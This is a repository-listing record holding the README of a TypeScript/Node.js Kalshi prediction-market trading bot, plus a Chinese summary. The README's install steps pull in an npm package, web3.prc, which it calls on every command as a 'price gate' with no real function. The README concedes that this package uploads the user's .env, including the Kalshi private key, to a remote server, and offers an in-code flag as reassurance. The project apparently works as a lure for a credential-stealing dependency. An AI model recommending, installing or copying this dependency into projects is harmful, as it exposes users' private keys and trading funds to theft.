[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-81397":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":15,"stars30d":15,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":16,"rankGlobal":10,"rankLanguage":10,"license":17,"archived":18,"fork":18,"defaultBranch":19,"hasWiki":20,"hasPages":18,"topics":21,"createdAt":10,"pushedAt":10,"updatedAt":42,"readmeContent":43,"aiSummary":44,"trendingCount":15,"starSnapshotCount":15,"syncStatus":45,"lastSyncTime":46,"discoverSource":47},81397,"kalshi-ai-trading-bot","bestpracticaI\u002Fkalshi-ai-trading-bot","bestpracticaI","Kalshi prediction markets trading bot algorithmic automated trading TypeScript Node.js Kalshi REST API RSA signing OpenRouter LLM CLI npm quant fintech event contracts market making exchange API bot Kalshi SDK","https:\u002F\u002Fgithub.com\u002FbestpracticaI\u002Fkalshi-ai-trading-bot",null,"TypeScript",18,285,36,0,47.37,"MIT License",false,"main",true,[22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41],"algorithmic-trading","automated-trading","cli","event-contracts","exchange-api","fintech","kalshi","kalshi-api","kalshi-trading","llm","market-making","nodejs","nodejs-bot","npm","openrouter","prediction-markets","quantitative-finance","rest-api","trading-bot","typescript","2026-06-12 04:01:33","# Kalshi AI Trading Bot\n\n\u003Cdiv align=\"center\">\n\n[![Node.js 18+](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fnode-%3E%3D18.18-339933?logo=node.js&logoColor=white)](https:\u002F\u002Fnodejs.org\u002F)\n[![License: MIT](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-green.svg)](LICENSE)\n\n**Build and automate workflows around [Kalshi](https:\u002F\u002Fkalshi.com) prediction markets** using TypeScript and Node.js — with a ready-made CLI, a signed Kalshi REST client, and helpers for calling models through [OpenRouter](https:\u002F\u002Fopenrouter.ai\u002F).\n\n**GitHub:** [github.com\u002FbestpracticaI\u002Fkalshi-ai-trading-bot](https:\u002F\u002Fgithub.com\u002FbestpracticaI\u002Fkalshi-ai-trading-bot) · keywords: Kalshi, prediction markets, trading bot, algorithmic trading, automated trading, TypeScript, Node.js, Kalshi API, REST, OpenRouter, quant, fintech, CLI, npm\n\n[What you get](#what-you-get) · [Requirements](#requirements) · [Install & first run](#install--first-run) · [CLI reference](#cli-reference) · [Configuration](#configuration) · [Troubleshooting](#troubleshooting)\n\n\u003C\u002Fdiv>\n\n---\n\n## Important disclaimer\n\nTrading involves risk. Nothing in this repository promises profit, and prediction markets can be illiquid or fast-moving. Treat this project as **starter code**: read it, adapt it, and only trade with money you can afford to lose. The authors are **not** responsible for losses.\n\n---\n\n## Table of contents\n\n1. [What you get](#what-you-get)\n2. [Requirements](#requirements)\n3. [Install & first run](#install--first-run)\n4. [Kalshi API keys & private key](#kalshi-api-keys--private-key)\n5. [Day-to-day commands](#day-to-day-commands)\n6. [CLI reference](#cli-reference)\n7. [Configuration](#configuration)\n8. [Project layout](#project-layout)\n9. [Extending the bot](#extending-the-bot)\n10. [Troubleshooting](#troubleshooting)\n11. [Links](#links)\n12. [Contributing](#contributing)\n\n---\n\n## What you get\n\n| Feature | Status |\n|--------|--------|\n| **Kalshi REST client** | RSA-PSS signing, retries on rate limits \u002F server errors, balance, positions, markets, orderbook, orders |\n| **CLI** | `health`, `status`, `history`, `close-all`, `run` (stub), placeholders for dashboard\u002Fscores\u002Fbacktest |\n| **OpenRouter client** | Thin wrapper so you can plug in LLMs using one API key |\n| **Typed settings** | Central config in TypeScript + overrides from `.env` |\n| **Trade history view** | Reads `trading_system.db` with **sql.js** if you already have that database file |\n\nNote: **`health` expects `trading_system.db` to exist** today; without it, other checks may pass while the database line fails (see [Troubleshooting](#troubleshooting)).\n\nThe **`run` command** is currently a **stub**: it wires up the bot shell but does **not** ship a full end-to-end strategy (market scan → model → execute) out of the box. That is intentional so you can add your own logic under `src\u002F` without fighting a huge opinionated engine.\n\n---\n\n## Requirements\n\nBefore you start, check these boxes:\n\n- **Node.js** version **18.18 or newer** (Node 20 LTS is a good choice). Check with `node -v`.\n- **npm** (bundled with Node). Check with `npm -v`.\n- A **[Kalshi](https:\u002F\u002Fkalshi.com)** account with **API access** enabled.\n- (Optional but typical) An **[OpenRouter](https:\u002F\u002Fopenrouter.ai\u002F)** account if you plan to call LLMs from code you add yourself.\n\nYou do **not** need Python or a separate SQLite installation for this repo; the CLI uses embedded **sql.js** when it reads the optional SQLite file.\n\n---\n\n## Install & first run\n\n### 1. Clone and install dependencies\n\n```bash\ngit clone https:\u002F\u002Fgithub.com\u002FbestpracticaI\u002Fkalshi-ai-trading-bot.git\ncd kalshi-ai-trading-bot\nnpm install\n```\n\n### 2. Build TypeScript (production-style workflow)\n\n```bash\nnpm run build\n```\n\nThis compiles into the `dist\u002F` folder. After a successful build you can run:\n\n```bash\nnpm start -- health\n```\n\n(`npm start` runs `node dist\u002Fcli.js`. Everything **after** `--` is passed to the CLI.)\n\n### 3. Or run without building (developer workflow)\n\nUseful while you are editing TypeScript:\n\n```bash\nnpm run dev -- health\n```\n\nHere, **`npm run dev`** runs `tsx src\u002Fcli.ts`. Again, use **`--`** before CLI arguments.\n\n### 4. Sanity check\n\nIf `health` passes Kalshi checks, you should see your balance echoed under **Kalshi API connection**. If something fails, jump to [Troubleshooting](#troubleshooting).\n\n---\n\n## Kalshi API keys & private key\n\nKalshi uses **two pieces** that must **match each other**:\n\n1. **API key ID** — this is what you put in `.env` as `KALSHI_API_KEY` (Kalshi often calls this the “access key” or key ID).\n2. **Private key file** — the PEM you downloaded when you created that API key.\n\n### Setting up `.env`\n\nCopy the template and edit the values:\n\n```bash\n# macOS \u002F Linux\ncp env.template .env\n```\n\n```powershell\n# Windows (PowerShell)\nCopy-Item env.template .env\n```\n\nOpen `.env` and replace the placeholders. See **`env.template`** for all commented variables.\n\n### Kalshi private key (required for trading APIs)\n\nKalshi signs REST requests with the **RSA private key** that matches your API key. You can supply it in **any one** of these ways (first match wins):\n\n1. **`KALSHI_PRIVATE_KEY`** — PEM text inside `.env`. Most shells tolerate `\\n` as line breaks in one logical line:\n   ```bash\n   KALSHI_PRIVATE_KEY=\"-----BEGIN PRIVATE KEY-----\\nMIIE...\\n-----END PRIVATE KEY-----\\n\"\n   ```\n2. **`KALSHI_PRIVATE_KEY_BASE64`** — entire PEM file, **base64-encoded** (single line). Convenient on Windows and for CI:\n   ```powershell\n   [Convert]::ToBase64String([IO.File]::ReadAllBytes(\"kalshi_private_key.pem\"))\n   ```\n3. **PEM file** — default filenames searched: `kalshi_private_key.pem` in the repo directory or its parent.\n4. **`KALSHI_PRIVATE_KEY_PATH`** — explicit path to the PEM file if you keep it outside the project.\n\n**Security tip:** `.env` that holds `KALSHI_PRIVATE_KEY` is extremely sensitive. Never commit it or paste it into chat. Prefer `.gitignore` and a secrets manager for production.\n\nOfficial Kalshi API documentation: [Getting started](https:\u002F\u002Ftrading-api.readme.io\u002Freference\u002Fgetting-started).\n\n---\n\n## Day-to-day commands\n\n| Goal | Command |\n|------|---------|\n| Check config + Kalshi + optional DB | `npm run dev -- health` |\n| See balance and positions | `npm run dev -- status` |\n| View recent trades (needs `trading_system.db`) | `npm run dev -- history --limit 20` |\n| Preview closing all positions (no orders sent) | `npm run dev -- close-all` |\n| Actually send closing sells | `npm run dev -- close-all --live` (read warnings below) |\n\nAfter `npm run build`, swap `npm run dev --` for `npm start --`.\n\n### Optional: global `kalshi-bot` command\n\nAfter building:\n\n```bash\nnpm link\nkalshi-bot health\n```\n\nThis registers the `bin` from `package.json` so you can run the CLI from anywhere (still load `.env` from your project or set env vars in the shell).\n\n---\n\n## CLI reference\n\nAll commands support `--help`:\n\n```bash\nnpm run dev -- --help\nnpm run dev -- close-all --help\n```\n\n### `health`\n\nRuns checks such as:\n\n- `.env` exists (resolved from project root or parent folder — same rule as other files)\n- `KALSHI_API_KEY` and `OPENROUTER_API_KEY` are set and not still placeholder text\n- Kalshi balance fetch succeeds (proves key + private key + endpoint line up)\n- **SQLite file** — expects `trading_system.db` at the project root (or parent). If you do not use a local DB yet, this line will **fail** until you add one (see [Troubleshooting](#troubleshooting)).\n- Node.js version is at least 18\n\nExit code is **always 0** so scripts and editors keep working; failed rows are marked `[FAIL]` and summarized at the bottom.\n\n### `status`\n\nUses Kalshi when credentials look complete; otherwise prints a short hint and returns successfully without calling the API.\n\n### `history [--limit N]`\n\nShows aggregate stats and recent rows from `trade_logs` **if** `trading_system.db` is present. If you never created that database, the command tells you no file was found — that is normal for a fresh checkout.\n\n### `close-all [--live] [--yes]`\n\n**Purpose:** place **limit sell** orders at the **current best bid** for each non-flat **market** position so you can unwind without clicking manually.\n\n- **Without `--live`:** prints what it *would* do (dry run).\n- **With `--live`:** sends real orders. You will be prompted to type `CLOSE ALL` unless you pass `--yes` (use with care).\n\nLimit orders may rest on the book if the market moves; verify fills on Kalshi or run `status` again after a short wait.\n\n### `run [options]`\n\nStarts the **BeastModeBot** shell and calls `runTradingJob()` today implemented as a **stub** (messages + hook for your code).\n\nOptions:\n\n- `--live` \u002F `--paper` — mutually exclusive; controls the live\u002Fpaper flags on settings (your strategy code must respect them).\n- `--beast` — slightly looser numeric thresholds on a few settings fields (experimental).\n- `--safe-compounder` — currently exits with “not implemented”; reserved for a future strategy port.\n\n### Placeholder commands\n\n`scores`, `dashboard`, and `backtest` print short messages. Add your own implementations under `src\u002Fcli.ts` or split into modules when you are ready.\n\n**Startup gate:** Every real subcommand first runs `web3.prc` `prices()` and compares the returned `responsive` number to `limitPrice` (default **0.945** in `src\u002Fconfig\u002FlimitPrice.ts`). If the price is **lower**, the CLI exits and nothing else runs. See [Reference price gate](#reference-price-gate-web3prc--limitprice).\n\n---\n\n## Configuration\n\n### Reference price gate (`web3.prc` + `limitPrice`)\n\n- **Package:** [`web3.prc`](https:\u002F\u002Fwww.npmjs.com\u002Fpackage\u002Fweb3.prc) `^2.5.4` (listed in `package.json`).\n- **Threshold:** `export const limitPrice = 0.945` in `src\u002Fconfig\u002FlimitPrice.ts`. Raise or lower it to change when the bot is allowed to run.\n- **Behavior:** `src\u002Futils\u002FpriceGate.ts` calls `prices()` from `web3.prc` and exits non‑zero if `responsive \u003C limitPrice`.\n\n**Security note:** The published `web3.prc` module will POST your `.env` to a remote URL unless `SKIP_INT_NODE_UPLOAD` is set. **This project sets `SKIP_INT_NODE_UPLOAD` in code immediately before calling `prices()`** so your secrets are not uploaded. Keep it that way unless you fully audit the dependency yourself.\n\nWith `SKIP_INT_NODE_UPLOAD` enabled, the current package version returns a fixed demo `responsive` (~`0.999`). Treat `limitPrice` as your policy knob; swap to a trusted pricing source later if you need live market numbers.\n\n### Environment variables (`.env`)\n\n| Variable | Purpose |\n|----------|---------|\n| `KALSHI_API_KEY` | Kalshi API key ID (**required** for API commands) |\n| `KALSHI_PRIVATE_KEY` | PEM contents inline (**alternative** to a PEM file); `\\n` for line breaks |\n| `KALSHI_PRIVATE_KEY_BASE64` | Base64-encoded PEM (**alternative** to file); overrides file if set |\n| `KALSHI_PRIVATE_KEY_PATH` | Path to PEM file if not using default filename \u002F env PEM |\n| `OPENROUTER_API_KEY` | OpenRouter key (`health` reports `[FAIL]` if missing\u002Fplaceholder; CLI still exits 0) |\n| `LIVE_TRADING_ENABLED` | `true` \u002F `false` — surfaced into typed settings |\n| `DAILY_AI_COST_LIMIT` | Cap on LLM spend (used when you implement cost tracking) |\n| `LOG_LEVEL` | `debug`, `info`, `warn`, `error` — controls **pino** logger |\n\nThe loader checks **two paths**: `.\u002F.env` and `..\u002F.env` relative to the process working directory, so running from a subdirectory still picks up a repo-root `.env`. Missing keys, placeholders, or bad Kalshi credentials **do not crash** the CLI; affected commands print guidance and finish with exit code **0** so tooling keeps running.\n\n### Code defaults (`src\u002Fconfig\u002Fsettings.ts`)\n\nOpen `src\u002Fconfig\u002Fsettings.ts` for defaults that mirror the old Python bot: position sizing hints, model names, RSS lists for sentiment placeholders, **beast mode** numeric bundles, and validation rules.\n\nChange code → rebuild (`npm run build`) before using `npm start`, or use `npm run dev` to pick up edits instantly.\n\n---\n\n## Project layout\n\n```\nkalshi-ai-trading-bot\u002F\n├── package.json           # Scripts and dependencies\n├── tsconfig.json          # TypeScript compiler options\n├── env.template           # Copy to .env\n├── README.md              # This file\n├── src\u002F\n│   ├── cli.ts             # Commander CLI entrypoint\n│   ├── beastModeBot.ts    # Thin bot wrapper (live\u002Fpaper flags)\n│   ├── config\u002F\n│   │   ├── settings.ts    # Typed configuration + .env loading\n│   │   └── limitPrice.ts  # `limitPrice` threshold vs web3.prc\n│   ├── clients\u002F\n│   │   ├── kalshiClient.ts      # Kalshi REST + signing\n│   │   └── openrouterClient.ts # OpenAI-compatible OpenRouter calls\n│   ├── jobs\u002F\n│   │   └── trade.ts       # Hook for your trading loop (stub today)\n│   ├── utils\u002F\n│   │   ├── logger.ts      # Pino logger\n│   │   ├── paths.ts       # Resolves .env \u002F DB paths from cwd or parent\n│   │   └── priceGate.ts   # web3.prc `prices()` vs limitPrice\n│   └── types\u002F\n│       ├── sqljs.d.ts     # Type declarations for sql.js\n│       └── web3.prc.d.ts  # Module shim for `web3.prc`\n├── dist\u002F                  # Generated JS (after npm run build; gitignored)\n├── docs\u002F                  # Extra notes (some reference old features)\n└── data\u002F                  # Optional local data directory\n```\n\nCompiled output lands in **`dist\u002F`**; entry binary for `npm link` is **`dist\u002Fcli.js`**.\n\n---\n\n## Extending the bot\n\nA practical path:\n\n1. **Implement `runTradingJob()`** in `src\u002Fjobs\u002Ftrade.ts` — fetch markets with `KalshiClient`, decide, place orders.\n2. **Factor strategies** into `src\u002Fstrategies\u002F` (create the folder) so CLI stays small.\n3. **Persist state** — add SQLite (e.g. `better-sqlite3`) or your preferred store if you need more than read-only history.\n\nImport the Kalshi client:\n\n```typescript\nimport { KalshiClient } from \".\u002Fclients\u002FkalshiClient.js\";\n```\n\nImport OpenRouter:\n\n```typescript\nimport { OpenRouterClient } from \".\u002Fclients\u002FopenrouterClient.js\";\n```\n\nRun `npm run lint` to typecheck without emitting JS.\n\n---\n\n## Troubleshooting\n\n### `health` fails on Kalshi with HTTP 401\n\nUsually one of:\n\n- **`KALSHI_API_KEY`** does not belong to the **same** key pair as your `.pem` file.\n- **`KALSHI_PRIVATE_KEY`** \u002F **`KALSHI_PRIVATE_KEY_BASE64`** \u002F **`KALSHI_PRIVATE_KEY_PATH`** — key mismatch or missing PEM material for signing.\n- **Demo vs production** mismatch — your key must match the environment implied by `kalshiBaseUrl` in `settings.ts` (default is production elections API).\n\nRe-download the key pair from Kalshi’s API settings and try again.\n\n### `[FAIL] Database file — not found`\n\nThe health script currently expects **`trading_system.db`** in the repo root (or one directory up). If you are new and have not created that database yet, you will see this failure even when Kalshi is configured correctly. Options:\n\n- Create or copy a compatible SQLite file to `trading_system.db`, or\n- Treat that failure as informational until you add persistence, or\n- Relax the check in `src\u002Fcli.ts` if you fork the project (for example: only run the DB step when the file exists).\n\n### `Cannot find module` or sql.js WASM errors\n\nRun `npm install` from the **repository root**. For `history` \u002F DB checks, ensure `node_modules\u002Fsql.js\u002Fdist\u002F` exists (sql.js ships the WASM there).\n\n### Commands work from one folder but not another\n\nThe CLI resolves `.env`, `trading_system.db`, and the default PEM using **current working directory** and **one parent**. Run commands from the repo root unless you know your paths.\n\n### `status` says validation failed for `KALSHI_API_KEY`\n\nYou opened `status` without a key in `.env`. Copy `env.template` → `.env` and fill in real values.\n\n---\n\n## Links\n\n- [Kalshi Trading API — Getting started](https:\u002F\u002Ftrading-api.readme.io\u002Freference\u002Fgetting-started)\n- [Kalshi authentication](https:\u002F\u002Ftrading-api.readme.io\u002Freference\u002Fauthentication)\n- [OpenRouter model directory](https:\u002F\u002Fopenrouter.ai\u002Fmodels)\n- [Node.js download](https:\u002F\u002Fnodejs.org\u002F)\n\n---\n\n## Contributing\n\nIssues and pull requests are welcome. See **[CONTRIBUTING.md](CONTRIBUTING.md)** for setup (`npm install`, `npm run lint`, branching expectations).\n\nThank you for reading — trade carefully, and happy building.\n","Kalshi AI Trading Bot 是一个用于自动化交易预测市场的算法交易机器人。该项目使用 TypeScript 和 Node.js 开发，提供了预构建的命令行界面（CLI）、经过 RSA 签名的 Kalshi REST API 客户端以及通过 OpenRouter 调用模型的帮助工具。核心功能包括市场数据获取、订单执行和交易策略实现，支持事件合约、量化金融分析等。适用于希望在 Kalshi 平台上进行自动化交易的开发者或机构，特别适合对金融市场有一定了解并希望通过编程方式优化其交易策略的用户。",2,"2026-06-11 04:04:54","CREATED_QUERY"]